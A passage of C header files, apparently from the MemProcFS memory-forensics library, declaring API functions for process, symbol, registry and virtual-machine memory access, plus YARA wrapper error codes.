3; // Pos 0 BYTE Rom_OnProtectedStandby : 1;// Pos 3 BYTE InPageError : 1; // Pos 4 BYTE KernelStack_SystemChargedPage : 1; // Pos 5 BYTE RemovalRequested : 1; // Pos 6 BYTE ParityError : 1; // Pos 7 }; }; union { QWORD _u4; struct { DWORD PteFrame; DWORD PteFrameHigh : 4; // Pos 32 DWORD _Reserved : 21; // Pos 36 DWORD PrototypePte : 1; // Pos 57 DWORD PageColor : 6; // Pos 58 }; }; DWORD _FutureUse[6]; } VMMDLL_MAP_PFNENTRY, *PVMMDLL_MAP_PFNENTRY; typedef struct tdVMMDLL_MAP_PFN { DWORD dwVersion; DWORD _Reserved1[5]; DWORD cMap; // # map entries. VMMDLL_MAP_PFNENTRY pMap[]; // map entries. } VMMDLL_MAP_PFN, *PVMMDLL_MAP_PFN; /* * Retrieve information about scattered PFNs. The PFNs are returned in order of * in which they are stored in the pPfns set. * -- hVMM * -- pPfns * -- cPfns * -- pPfnMap = buffer of minimum byte length *pcbPfnMap or NULL. * -- pcbPfnMap = pointer to byte count of pPhysMemMap buffer. * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetPfn( _In_ VMM_HANDLE hVMM, _In_reads_(cPfns) DWORD pPfns[], _In_ DWORD cPfns, _Out_writes_bytes_opt_(*pcbPfnMap) PVMMDLL_MAP_PFN pPfnMap, _Inout_ PDWORD pcbPfnMap ); /* * Retrieve PFN information: * CALLER FREE: VMMDLL_MemFree(*ppPfnMap) * -- hVMM * -- pPfns = PFNs to retrieve. * -- cPfns = number of PFNs to retrieve. * -- ppPfnMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- flags = optional flags as specified by VMMDLL_PFN_FLAG_* * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetPfnEx( _In_ VMM_HANDLE hVMM, _In_reads_(cPfns) DWORD pPfns[], _In_ DWORD cPfns, _Out_ PVMMDLL_MAP_PFN *ppPfnMap, _In_ DWORD flags ); //----------------------------------------------------------------------------- // VMM PROCESS FUNCTIONALITY BELOW: // Functionality below is mostly relating to Windows processes. //----------------------------------------------------------------------------- /* * Retrieve an active process given it's name. Please note that if multiple * processes with the same name exists only one will be returned. If required to * parse all processes with the same name please iterate over the PID list by * calling VMMDLL_PidList together with VMMDLL_ProcessGetInformation. * -- hVMM * -- szProcName = process name case insensitive. * -- pdwPID = pointer that will receive PID on success. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PidGetFromName(_In_ VMM_HANDLE hVMM, _In_ LPCSTR szProcName, _Out_ PDWORD pdwPID); /* * List the PIDs in the system. * -- hVMM * -- pPIDs = DWORD array of at least number of PIDs in system, or NULL. * -- pcPIDs = size of (in number of DWORDs) pPIDs array on entry, number of PIDs in system on exit. * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PidList(_In_ VMM_HANDLE hVMM, _Out_writes_opt_(*pcPIDs) PDWORD pPIDs, _Inout_ PSIZE_T pcPIDs); #define VMMDLL_PROCESS_INFORMATION_MAGIC 0xc0ffee663df9301e #define VMMDLL_PROCESS_INFORMATION_VERSION 7 typedef enum tdVMMDLL_PROCESS_INTEGRITY_LEVEL { VMMDLL_PROCESS_INTEGRITY_LEVEL_UNKNOWN = 0, VMMDLL_PROCESS_INTEGRITY_LEVEL_UNTRUSTED = 1, VMMDLL_PROCESS_INTEGRITY_LEVEL_LOW = 2, VMMDLL_PROCESS_INTEGRITY_LEVEL_MEDIUM = 3, VMMDLL_PROCESS_INTEGRITY_LEVEL_MEDIUMPLUS = 4, VMMDLL_PROCESS_INTEGRITY_LEVEL_HIGH = 5, VMMDLL_PROCESS_INTEGRITY_LEVEL_SYSTEM = 6, VMMDLL_PROCESS_INTEGRITY_LEVEL_PROTECTED = 7, } VMMDLL_PROCESS_INTEGRITY_LEVEL; typedef struct tdVMMDLL_PROCESS_INFORMATION { ULONG64 magic; WORD wVersion; WORD wSize; VMMDLL_MEMORYMODEL_TP tpMemoryModel; // as given by VMMDLL_MEMORYMODEL_* enum VMMDLL_SYSTEM_TP tpSystem; // as given by VMMDLL_SYSTEM_* enum BOOL fUserOnly; // only user mode pages listed DWORD dwPID; DWORD dwPPID; DWORD dwState; CHAR szName[16]; CHAR szNameLong[64]; ULONG64 paDTB; ULONG64 paDTB_UserOpt; // may not exist struct { ULONG64 vaEPROCESS; ULONG64 vaPEB; ULONG64 _Reserved1; BOOL fWow64; DWORD vaPEB32; // WoW64 only DWORD dwSessionId; ULONG64 qwLUID; CHAR szSID[MAX_PATH]; VMMDLL_PROCESS_INTEGRITY_LEVEL IntegrityLevel; } win; } VMMDLL_PROCESS_INFORMATION, *PVMMDLL_PROCESS_INFORMATION; /* * Retrieve various process information from a PID. Process information such as * name, page directory bases and the process state may be retrieved. * -- hVMM * -- dwPID * -- pProcessInformation = if null, size is given in *pcbProcessInfo * -- pcbProcessInformation = size of pProcessInfo (in bytes) on entry and exit * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_ProcessGetInformation( _In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Inout_opt_ PVMMDLL_PROCESS_INFORMATION pProcessInformation, _In_ PSIZE_T pcbProcessInformation ); /* * Retrieve various information from all processes (including terminated). * CALLER FREE : VMMDLL_MemFree(*ppProcessInformationAll) * -- hVMM * -- ptr to receive result array of pcProcessInformation items on success. * Must be free'd with VMMDLL_MemFree(). * -- ptr to DWORD to receive number of items processes on success. * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_ProcessGetInformationAll( _In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_PROCESS_INFORMATION *ppProcessInformationAll, _Out_ PDWORD pcProcessInformation ); #define VMMDLL_PROCESS_INFORMATION_OPT_STRING_PATH_KERNEL 1 #define VMMDLL_PROCESS_INFORMATION_OPT_STRING_PATH_USER_IMAGE 2 #define VMMDLL_PROCESS_INFORMATION_OPT_STRING_CMDLINE 3 /* * Retrieve a string value belonging to a process. The function allocates a new * string buffer and returns the requested string in it. The string is always * NULL terminated. On failure NULL is returned. * NB! CALLER IS RESPONSIBLE FOR VMMDLL_MemFree return value! * CALLER FREE: VMMDLL_MemFree(return) * -- hVMM * -- dwPID * -- fOptionString = string value to retrieve as given by VMMDLL_PROCESS_INFORMATION_OPT_STRING_* * -- return - fail: NULL, success: the string - NB! must be VMMDLL_MemFree'd by caller! */ EXPORTED_FUNCTION _Success_(return != NULL) LPSTR VMMDLL_ProcessGetInformationString(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD fOptionString); /* * Retrieve information about: Data Directories, Sections, Export Address Table * and Import Address Table (IAT). * If the pData == NULL upon entry the number of entries of the pData array must * have in order to be able to hold the data is returned. * -- hVMM * -- dwPID * -- [uw]szModule * -- pData * -- cData * -- pcData * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_ProcessGetDirectoriesU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModule, _Out_writes_(16) PIMAGE_DATA_DIRECTORY pDataDirectories); _Success_(return) BOOL VMMDLL_ProcessGetDirectoriesW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModule, _Out_writes_(16) PIMAGE_DATA_DIRECTORY pDataDirectories); EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_ProcessGetSectionsU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModule, _Out_writes_opt_(cSections) PIMAGE_SECTION_HEADER pSections, _In_ DWORD cSections, _Out_ PDWORD pcSections); _Success_(return) BOOL VMMDLL_ProcessGetSectionsW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModule, _Out_writes_opt_(cSections) PIMAGE_SECTION_HEADER pSections, _In_ DWORD cSections, _Out_ PDWORD pcSections); /* * Retrieve the virtual address of a given function inside a process/module. * -- hVMM * -- dwPID * -- [uw]szModuleName * -- szFunctionName * -- return = virtual address of function, zero on fail. */ EXPORTED_FUNCTION _Success_(return != 0) ULONG64 VMMDLL_ProcessGetProcAddressU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModuleName, _In_ LPCSTR szFunctionName); _Success_(return != 0) ULONG64 VMMDLL_ProcessGetProcAddressW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _In_ LPCSTR szFunctionName); /* * Retrieve the base address of a given module. * -- hVMM * -- dwPID * -- [uw]szModuleName * -- return = virtual address of module base, zero on fail. */ EXPORTED_FUNCTION _Success_(return != 0) ULONG64 VMMDLL_ProcessGetModuleBaseU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModuleName); _Success_(return != 0) ULONG64 VMMDLL_ProcessGetModuleBaseW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName); //----------------------------------------------------------------------------- // WINDOWS SPECIFIC DEBUGGING / SYMBOL FUNCTIONALITY BELOW: //----------------------------------------------------------------------------- /* * Load a .pdb symbol file and return its associated module name upon success. * -- hVMM * -- dwPID * -- vaModuleBase * -- szModuleName = buffer to receive module name upon success. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PdbLoad( _In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ ULONG64 vaModuleBase, _Out_writes_(MAX_PATH) LPSTR szModuleName ); /* * Retrieve a symbol virtual address given a module name and a symbol name. * NB! not all modules may exist - initially only module "nt" is available. * NB! if multiple modules have the same name the 1st to be added will be used. * -- hVMM * -- szModule * -- cbSymbolAddressOrOffset = symbol virtual address or symbol offset. * -- szSymbolName = buffer to receive symbol name upon success. * -- pdwSymbolDisplacement = displacement from the beginning of the symbol. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PdbSymbolName( _In_ VMM_HANDLE hVMM, _In_ LPCSTR szModule, _In_ QWORD cbSymbolAddressOrOffset, _Out_writes_(MAX_PATH) LPSTR szSymbolName, _Out_opt_ PDWORD pdwSymbolDisplacement ); /* * Retrieve a symbol virtual address given a module name and a symbol name. * NB! not all modules may exist - initially only module "nt" is available. * NB! if multiple modules have the same name the 1st to be added will be used. * -- hVMM * -- szModule * -- szSymbolName * -- pvaSymbolAddress * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PdbSymbolAddress( _In_ VMM_HANDLE hVMM, _In_ LPCSTR szModule, _In_ LPCSTR szSymbolName, _Out_ PULONG64 pvaSymbolAddress ); /* * Retrieve a type size given a module name and a type name. * NB! not all modules may exist - initially only module "nt" is available. * NB! if multiple modules have the same name the 1st to be added will be used. * -- hVMM * -- szModule * -- szTypeName * -- pcbTypeSize * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PdbTypeSize( _In_ VMM_HANDLE hVMM, _In_ LPCSTR szModule, _In_ LPCSTR szTypeName, _Out_ PDWORD pcbTypeSize ); /* * Locate the offset of a type child - typically a sub-item inside a struct. * NB! not all modules may exist - initially only module "nt" is available. * NB! if multiple modules have the same name the 1st to be added will be used. * -- hVMM * -- szModule * -- uszTypeName * -- uszTypeChildName * -- pcbTypeChildOffset * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_PdbTypeChildOffset( _In_ VMM_HANDLE hVMM, _In_ LPCSTR szModule, _In_ LPCSTR uszTypeName, _In_ LPCSTR uszTypeChildName, _Out_ PDWORD pcbTypeChildOffset ); //----------------------------------------------------------------------------- // WINDOWS SPECIFIC REGISTRY FUNCTIONALITY BELOW: //----------------------------------------------------------------------------- #define VMMDLL_REGISTRY_HIVE_INFORMATION_MAGIC 0xc0ffee653df8d01e #define VMMDLL_REGISTRY_HIVE_INFORMATION_VERSION 4 typedef struct td_VMMDLL_REGISTRY_HIVE_INFORMATION { ULONG64 magic; WORD wVersion; WORD wSize; BYTE _FutureReserved1[0x34]; ULONG64 vaCMHIVE; ULONG64 vaHBASE_BLOCK; DWORD cbLength; CHAR uszName[128]; CHAR uszNameShort[32 + 1]; CHAR uszHiveRootPath[MAX_PATH]; QWORD _FutureReserved[0x10]; } VMMDLL_REGISTRY_HIVE_INFORMATION, *PVMMDLL_REGISTRY_HIVE_INFORMATION; /* * Retrieve information about the registry hives in the target system. * -- pHives = buffer of cHives * sizeof(VMMDLL_REGISTRY_HIVE_INFORMATION) to receive info about all hives. NULL to receive # hives in pcHives. * -- cHives * -- pcHives = if pHives == NULL: # total hives. if pHives: # read hives. * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinReg_HiveList( _In_ VMM_HANDLE hVMM, _Out_writes_(cHives) PVMMDLL_REGISTRY_HIVE_INFORMATION pHives, _In_ DWORD cHives, _Out_ PDWORD pcHives ); /* * Read a contigious arbitrary amount of registry hive memory and report the * number of bytes read in pcbRead. * NB! Address space does not include regf registry hive file header! * -- hVMM * -- vaCMHive * -- ra * -- pb * -- cb * -- pcbReadOpt * -- flags = flags as in VMMDLL_FLAG_* * -- return = success/fail. NB! reads may report as success even if 0 bytes are * read - it's recommended to verify pcbReadOpt parameter. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinReg_HiveReadEx( _In_ VMM_HANDLE hVMM, _In_ ULONG64 vaCMHive, _In_ DWORD ra, _Out_ PBYTE pb, _In_ DWORD cb, _Out_opt_ PDWORD pcbReadOpt, _In_ ULONG64 flags ); /* * Write a virtually contigious arbitrary amount of memory to a registry hive. * NB! Address space does not include regf registry hive file header! * -- hVMM * -- vaCMHive * -- ra * -- pb * -- cb * -- return = TRUE on success, FALSE on partial or zero write. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinReg_HiveWrite( _In_ VMM_HANDLE hVMM, _In_ ULONG64 vaCMHive, _In_ DWORD ra, _In_ PBYTE pb, _In_ DWORD cb ); /* * Enumerate registry sub keys - similar to WINAPI function 'RegEnumKeyExW.' * Please consult WINAPI function documentation for information. * May be called with HKLM base or virtual address of CMHIVE base examples: * 1) 'HKLM\SOFTWARE\Key\SubKey' * 2) 'HKLM\ORPHAN\SAM\Key\SubKey' (orphan key) * 3) '0x\ROOT\Key\SubKey' * 4) '0x\ORPHAN\Key\SubKey' (orphan key) * -- hVMM * -- uszFullPathKey * -- dwIndex = sub-key index 0..N (-1 for key). * -- lpName * -- lpcchName * -- lpftLastWriteTime * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinReg_EnumKeyExU( _In_ VMM_HANDLE hVMM, _In_ LPCSTR uszFullPathKey, _In_ DWORD dwIndex, _Out_writes_opt_(*lpcchName) LPSTR lpName, _Inout_ LPDWORD lpcchName, _Out_opt_ PFILETIME lpftLastWriteTime ); /* * Enumerate registry values given a registry key - similar to WINAPI function * 'EnumValueW'. Please consult WINAPI function documentation for information. * May be called in two ways: * May be called with HKLM base or virtual address of CMHIVE base examples: * 1) 'HKLM\SOFTWARE\Key\SubKey' * 2) 'HKLM\ORPHAN\SAM\Key\SubKey' (orphan key) * 3) '0x\ROOT\Key\SubKey' * 4) '0x\ORPHAN\Key\SubKey' (orphan key) * -- hVMM * -- uszFullPathKey * -- dwIndex * -- lpValueName * -- lpcchValueName * -- lpType * -- lpData * -- lpcbData * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinReg_EnumValueU( _In_ VMM_HANDLE hVMM, _In_ LPCSTR uszFullPathKey, _In_ DWORD dwIndex, _Out_writes_opt_(*lpcchValueName) LPSTR lpValueName, _Inout_ LPDWORD lpcchValueName, _Out_opt_ LPDWORD lpType, _Out_writes_opt_(*lpcbData) LPBYTE lpData, _Inout_opt_ LPDWORD lpcbData ); /* * Query a registry value given a registry key/value path - similar to WINAPI * function 'RegQueryValueEx'. * Please consult WINAPI function documentation for information. * May be called with HKLM base or virtual address of CMHIVE base examples: * 1) 'HKLM\SOFTWARE\Key\SubKey\Value' * 2) 'HKLM\ORPHAN\SAM\Key\SubKey\' (orphan key and default value) * 3) '0x\ROOT\Key\SubKey\Value' * 4) '0x\ORPHAN\Key\SubKey\Value' (orphan key value) * -- hVMM * -- uszFullPathKeyValue * -- lpType * -- lpData * -- lpcbData * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinReg_QueryValueExU( _In_ VMM_HANDLE hVMM, _In_ LPCSTR uszFullPathKeyValue, _Out_opt_ LPDWORD lpType, _Out_writes_opt_(*lpcbData) LPBYTE lpData, _When_(lpData == NULL, _Out_opt_) _When_(lpData != NULL, _Inout_opt_) LPDWORD lpcbData ); /* * Enumerate registry sub keys - similar to WINAPI function 'RegEnumKeyExW.' * Please consult WINAPI function documentation for information. * May be called with HKLM base or virtual address of CMHIVE base examples: * 1) 'HKLM\SOFTWARE\Key\SubKey' * 2) 'HKLM\ORPHAN\SAM\Key\SubKey' (orphan key) * 3) '0x\ROOT\Key\SubKey' * 4) '0x\ORPHAN\Key\SubKey' (orphan key) * -- hVMM * -- wszFullPathKey * -- dwIndex = sub-key index 0..N (-1 for key). * -- lpName * -- lpcchName * -- lpftLastWriteTime * -- return */ _Success_(return) BOOL VMMDLL_WinReg_EnumKeyExW( _In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFullPathKey, _In_ DWORD dwIndex, _Out_writes_opt_(*lpcchName) LPWSTR lpName, _Inout_ LPDWORD lpcchName, _Out_opt_ PFILETIME lpftLastWriteTime ); /* * Enumerate registry values given a registry key - similar to WINAPI function * 'EnumValueW'. Please consult WINAPI function documentation for information. * May be called in two ways: * May be called with HKLM base or virtual address of CMHIVE base examples: * 1) 'HKLM\SOFTWARE\Key\SubKey' * 2) 'HKLM\ORPHAN\SAM\Key\SubKey' (orphan key) * 3) '0x\ROOT\Key\SubKey' * 4) '0x\ORPHAN\Key\SubKey' (orphan key) * -- hVMM * -- wszFullPathKey * -- dwIndex * -- lpValueName * -- lpcchValueName * -- lpType * -- lpData * -- lpcbData * -- return */ _Success_(return) BOOL VMMDLL_WinReg_EnumValueW( _In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFullPathKey, _In_ DWORD dwIndex, _Out_writes_opt_(*lpcchValueName) LPWSTR lpValueName, _Inout_ LPDWORD lpcchValueName, _Out_opt_ LPDWORD lpType, _Out_writes_opt_(*lpcbData) LPBYTE lpData, _Inout_opt_ LPDWORD lpcbData ); /* * Query a registry value given a registry key/value path - similar to WINAPI * function 'RegQueryValueEx'. * Please consult WINAPI function documentation for information. * May be called with HKLM base or virtual address of CMHIVE base examples: * 1) 'HKLM\SOFTWARE\Key\SubKey\Value' * 2) 'HKLM\ORPHAN\SAM\Key\SubKey\' (orphan key and default value) * 3) '0x\ROOT\Key\SubKey\Value' * 4) '0x\ORPHAN\Key\SubKey\Value' (orphan key value) * -- hVMM * -- wszFullPathKeyValue * -- lpType * -- lpData * -- lpcbData * -- return */ _Success_(return) BOOL VMMDLL_WinReg_QueryValueExW( _In_ VMM_HANDLE hVMM, _In_ LPCWSTR wszFullPathKeyValue, _Out_opt_ LPDWORD lpType, _Out_writes_opt_(*lpcbData) LPBYTE lpData, _When_(lpData == NULL, _Out_opt_) _When_(lpData != NULL, _Inout_opt_) LPDWORD lpcbData ); //----------------------------------------------------------------------------- // WINDOWS SPECIFIC UTILITY FUNCTIONS BELOW: //----------------------------------------------------------------------------- typedef struct tdVMMDLL_WIN_THUNKINFO_IAT { BOOL fValid; BOOL f32; // if TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry. ULONG64 vaThunk; // address of import address table 'thunk'. ULONG64 vaFunction; // value if import address table 'thunk' == address of imported function. ULONG64 vaNameModule; // address of name string for imported module. ULONG64 vaNameFunction; // address of name string for imported function. } VMMDLL_WIN_THUNKINFO_IAT, *PVMMDLL_WIN_THUNKINFO_IAT; /* * Retrieve information about the import address table IAT thunk for an imported * function. This includes the virtual address of the IAT thunk which is useful * for hooking. * -- hVMM * -- dwPID * -- [uw]szModuleName * -- szImportModuleName * -- szImportFunctionName * -- pThunkIAT * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_WinGetThunkInfoIATU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModuleName, _In_ LPCSTR szImportModuleName, _In_ LPCSTR szImportFunctionName, _Out_ PVMMDLL_WIN_THUNKINFO_IAT pThunkInfoIAT); _Success_(return) BOOL VMMDLL_WinGetThunkInfoIATW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _In_ LPCSTR szImportModuleName, _In_ LPCSTR szImportFunctionName, _Out_ PVMMDLL_WIN_THUNKINFO_IAT pThunkInfoIAT); //----------------------------------------------------------------------------- // VMM VM FUNCTIONALITY BELOW: //----------------------------------------------------------------------------- /* * Retrieve a VMM handle given a VM handle. * This is not allowed on physical memory only VMs. * This VMM handle should be closed by calling VMMDLL_Close(). * -- hVMM * -- hVM * -- return */ EXPORTED_FUNCTION _Success_(return != NULL) VMM_HANDLE VMMDLL_VmGetVmmHandle(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM); /* * Initialize a scatter handle which is used to efficiently read/write memory in * virtual machines (VMs). * CALLER CLOSE: VMMDLL_Scatter_CloseHandle(return) * -- hVMM * -- hVM = virtual machine handle; acquired from VMMDLL_Map_GetVM*) * -- flags = optional flags as given by VMMDLL_FLAG_* * -- return = handle to be used in VMMDLL_Scatter_* functions. */ EXPORTED_FUNCTION _Success_(return != NULL) VMMDLL_SCATTER_HANDLE VMMDLL_VmScatterInitialize(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM); /* * Read virtual machine (VM) guest physical address (GPA) memory. * -- hVMM * -- hVM = virtual machine handle. * -- qwGPA * -- pb * -- cb * -- return = success/fail (depending if all requested bytes are read or not). */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_VmMemRead(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _In_ ULONG64 qwGPA, _Out_writes_(cb) PBYTE pb, _In_ DWORD cb); /* * Write virtual machine (VM) guest physical address (GPA) memory. * -- hVMM * -- hVM = virtual machine handle. * -- qwGPA * -- pb * -- cb * -- return = TRUE on success, FALSE on partial or zero write. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_VmMemWrite(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _In_ ULONG64 qwGPA, _In_reads_(cb) PBYTE pb, _In_ DWORD cb); /* * Scatter read virtual machine (VM) guest physical address (GPA) memory. * Non contiguous 4096-byte pages. Not cached. * -- hVmm * -- hVM = virtual machine handle. * -- ppMEMsGPA * -- cpMEMsGPA * -- flags = (reserved future use). * -- return = the number of successfully read items. */ EXPORTED_FUNCTION DWORD VMMDLL_VmMemReadScatter(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _Inout_ PPMEM_SCATTER ppMEMsGPA, _In_ DWORD cpMEMsGPA, _In_ DWORD flags); /* * Scatter write virtual machine (VM) guest physical address (GPA) memory. * Non contiguous 4096-byte pages. Not cached. * -- hVmm * -- hVM = virtual machine handle. * -- ppMEMsGPA * -- cpMEMsGPA * -- return = the number of hopefully successfully written items. */ EXPORTED_FUNCTION DWORD VMMDLL_VmMemWriteScatter(_In_ VMM_HANDLE hVMM, _In_ VMMVM_HANDLE hVM, _Inout_ PPMEM_SCATTER ppMEMsGPA, _In_ DWORD cpMEMsGPA); /* * Translate a virtual machine (VM) guest physical address (GPA) to: * (1) Physical Address (PA) _OR_ (2) Virtual Address (VA) in 'vmmem' process. * -- hVMM * -- HVM * -- qwGPA = guest physical address to translate. * -- pPA = translated physical address (if exists). * -- pVA = translated virtual address inside 'vmmem' process (if exists). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_VmMemTranslateGPA(_In_ VMM_HANDLE H, _In_ VMMVM_HANDLE hVM, _In_ ULONG64 qwGPA, _Out_opt_ PULONG64 pPA, _Out_opt_ PULONG64 pVA); //----------------------------------------------------------------------------- // VMM UTIL FUNCTIONALITY BELOW: //----------------------------------------------------------------------------- /* * Fill a human readable hex ascii memory dump into the caller supplied sz buffer. * -- pb * -- cb * -- cbInitialOffset = offset, must be max 0x1000 and multiple of 0x10. * -- sz = buffer to fill, NULL to retrieve buffer size in pcsz parameter. * -- pcsz = IF sz==NULL :: size of buffer (including space for terminating NULL) on exit * IF sz!=NULL :: size of buffer on entry, size of characters (excluding terminating NULL) on exit. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_UtilFillHexAscii( _In_reads_opt_(cb) PBYTE pb, _In_ DWORD cb, _In_ DWORD cbInitialOffset, _Out_writes_opt_(*pcsz) LPSTR sz, _Inout_ PDWORD pcsz ); /* * Retrieve license information - Licensed To. * -- CALLER FREE: VMMDLL_MemFree(return) * -- return = NULL on fail, otherwise a string that must be free'd by caller. */ EXPORTED_FUNCTION _Success_(return != NULL) LPSTR VMMDLL_LicensedTo(); //----------------------------------------------------------------------------- // DEFAULT (WINDOWS ONLY) COMPATIBILITY FUNCTION DEFINITIONS BELOW: //----------------------------------------------------------------------------- #ifdef _WIN32 #define VMMDLL_VfsList VMMDLL_VfsListW #define VMMDLL_VfsRead VMMDLL_VfsReadW #define VMMDLL_VfsWrite VMMDLL_VfsWriteW #define VMMDLL_ProcessGetDirectories VMMDLL_ProcessGetDirectoriesW #define VMMDLL_ProcessGetSections VMMDLL_ProcessGetSectionsW #define VMMDLL_ProcessGetProcAddress VMMDLL_ProcessGetProcAddressW #define VMMDLL_ProcessGetModuleBase VMMDLL_ProcessGetModuleBaseW #define VMMDLL_Map_GetPte VMMDLL_Map_GetPteW #define VMMDLL_Map_GetVad VMMDLL_Map_GetVadW #define VMMDLL_Map_GetModule VMMDLL_Map_GetModuleW #define VMMDLL_Map_GetModuleFromName VMMDLL_Map_GetModuleFromNameW #define VMMDLL_Map_GetUnloadedModule VMMDLL_Map_GetUnloadedModuleW #define VMMDLL_Map_GetEAT VMMDLL_Map_GetEATW #define VMMDLL_Map_GetIAT VMMDLL_Map_GetIATW #define VMMDLL_Map_GetHandle VMMDLL_Map_GetHandleW #define VMMDLL_Map_GetNet VMMDLL_Map_GetNetW #define VMMDLL_Map_GetUsers VMMDLL_Map_GetUsersW #define VMMDLL_Map_GetServices VMMDLL_Map_GetServicesW #define VMMDLL_WinGetThunkInfoIAT VMMDLL_WinGetThunkInfoIATW #endif /* _WIN32 */ #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* __VMMDLL_H__ */ ``` `includes/vmmyara.h`: ```h // vmmyara.h : External headers of the YARA API wrapper for MemProcFS. // // (c) Ulf Frisk, 2023 // Author: Ulf Frisk, pcileech@frizk.net // // // VmmYara is a library that provides a YARA API wrapper for C/C++ projects // and is used by MemProcFS to provide YARA scanning of memory dumps. // // For more information please consult the VmmYara information on Github: // - README: https://github.com/ufrisk/vmmyara // // (c) Ulf Frisk, 2023 // Author: Ulf Frisk, pcileech@frizk.net // // Header Version: 4.3.1.4 // #ifndef __VMMYARA_H__ #define __VMMYARA_H__ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ //----------------------------------------------------------------------------- // OS COMPATIBILITY BELOW: //----------------------------------------------------------------------------- #ifdef _WIN32 #include #ifndef EXPORTED_FUNCTION #define EXPORTED_FUNCTION #endif /* EXPORTED_FUNCTION */ #endif /* _WIN32 */ #ifdef LINUX #include #include #ifndef EXPORTED_FUNCTION #define EXPORTED_FUNCTION __attribute__((visibility("default"))) #endif /* EXPORTED_FUNCTION */ typedef uint32_t BOOL; typedef void VOID, *PVOID, *HANDLE; typedef size_t SIZE_T; typedef uint32_t DWORD, *PDWORD; typedef uint8_t BYTE, *PBYTE; typedef char CHAR, *LPSTR; #define _In_ #define _In_reads_(x) #define _In_reads_bytes_(x) #define _Out_ #define _Success_(x) #endif /* LINUX */ typedef int VMMYARA_ERROR; // corresponds exactly to YR_ERROR typedef struct HANDLE *PVMMYARA_RULES; // defines from yara error.h #define VMMYARA_ERROR_SUCCESS 0 #define VMMYARA_ERROR_INSUFFICIENT_MEMORY 1 #define VMMYARA_ERROR_COULD_NOT_ATTACH_TO_PROCESS 2 #define VMMYARA_ERROR_COULD_NOT_OPEN_FILE 3 #define VMMYARA_ERROR_COULD_NOT_MAP_FILE 4 #define VMMYARA_ERROR_INVALID_FILE 6 #define VMMYARA_ERROR_CORRUPT_FILE 7 #define VMMYARA_ERROR_UNSUPPORTED_FILE_VERSION 8 #define VMMYARA_ERROR_INVALID_REGULAR_EXPRESSION 9 #define VMMYARA_ERROR_INVALID_HEX_STRING 10 #define VMMYARA_ERROR_SYNTAX_ERROR 11 #define VMMYARA_ERROR_LOOP_NESTING_LIMIT_EXCEEDED 12 #define VMMYARA_ERROR_DUPLICATED_LOOP_IDENTIFIER 13 #define VMMYARA_ERROR_DUPLICATED_IDENTIFIER 14 #define VMMYARA_ERROR_DUPLICATED_TAG_IDENTIFIER 15 #define VMMYARA_ERROR_DUPLICATED_META_IDENTIFIER 16 #define VMMYARA_ERROR_DUPLICATED_STRING_IDENTIFIER 17 #define VMMYARA_ERROR_UNREFERENCED_STRING 18 #define VMMYARA_ERROR_UNDEFINED_STRING 19 #define VMMYARA_ERROR_UNDEFINED_IDENTIFIER 20 #define VMMYARA_ERROR_MISPLACED_ANONYMOUS_STRING 21 #define VMMYARA_ERROR_INCLUDES_CIRCULAR_REFERENCE 22 #define VMMYARA_ERROR_INCLUDE_DEPTH_EXCEEDED 23 #define VMMYARA_ERROR_WRONG_TYPE 24 #define 